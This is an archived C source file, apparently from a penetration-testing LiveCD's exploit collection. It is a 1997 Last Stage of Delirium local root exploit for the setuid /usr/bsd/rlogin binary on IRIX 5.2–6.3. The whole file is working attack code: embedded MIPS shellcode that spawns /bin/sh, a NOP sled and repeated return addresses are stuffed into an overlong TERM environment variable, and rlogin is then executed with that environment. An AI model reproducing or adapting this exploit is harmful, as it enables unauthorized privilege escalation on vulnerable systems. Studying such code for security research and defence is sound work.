home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / irix / local / sgi-rlogin.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  51 lines

  1.                 /*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
  2.                 /*## /usr/bsd/rlogin                                                         #*/
  3.  
  4.                 #define NOPNUM 4940
  5.                 #define ADRNUM 5000 
  6.                 #define ALLIGN 2
  7.  
  8.                 char shellcode[]=
  9.                     "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
  10.                     "\x24\x02\x03\xf3"    /* li      $v0,1011             */
  11.                     "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
  12.                     "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
  13.                     "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
  14.                     "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
  15.                     "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
  16.                     "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
  17.                     "\x03\xff\xff\xcc"    /* syscall                      */
  18.                     "/bin/sh"
  19.                 ;
  20.  
  21.                 char jump[]=
  22.                     "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
  23.                     "\x03\xe0\x00\x08"    /* jr      $ra                  */
  24.                 ;
  25.  
  26.                 char nop[]="\x24\x0f\x12\x34";
  27.  
  28.                 main(int argc,char **argv){
  29.                     char buffer[10000],adr[4],*b,*envp[2];
  30.                     int i;
  31.  
  32.                     printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
  33.                     printf("/usr/bsd/rlogin for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");
  34.  
  35.                     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10288+7000;
  36.  
  37.                     envp[0]=buffer;
  38.                     envp[1]=0;
  39.  
  40.                     b=buffer;
  41.                     sprintf(b,"TERM=");
  42.                     b+=5;
  43.                     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  44.                     for(i=0;i<ALLIGN;i++) *b++=0xff;
  45.                     for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
  46.                     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
  47.                     *b=0;
  48.  
  49.                     execle("/usr/bsd/rlogin","rlogin","localhost",0,envp);
  50.     }
  51.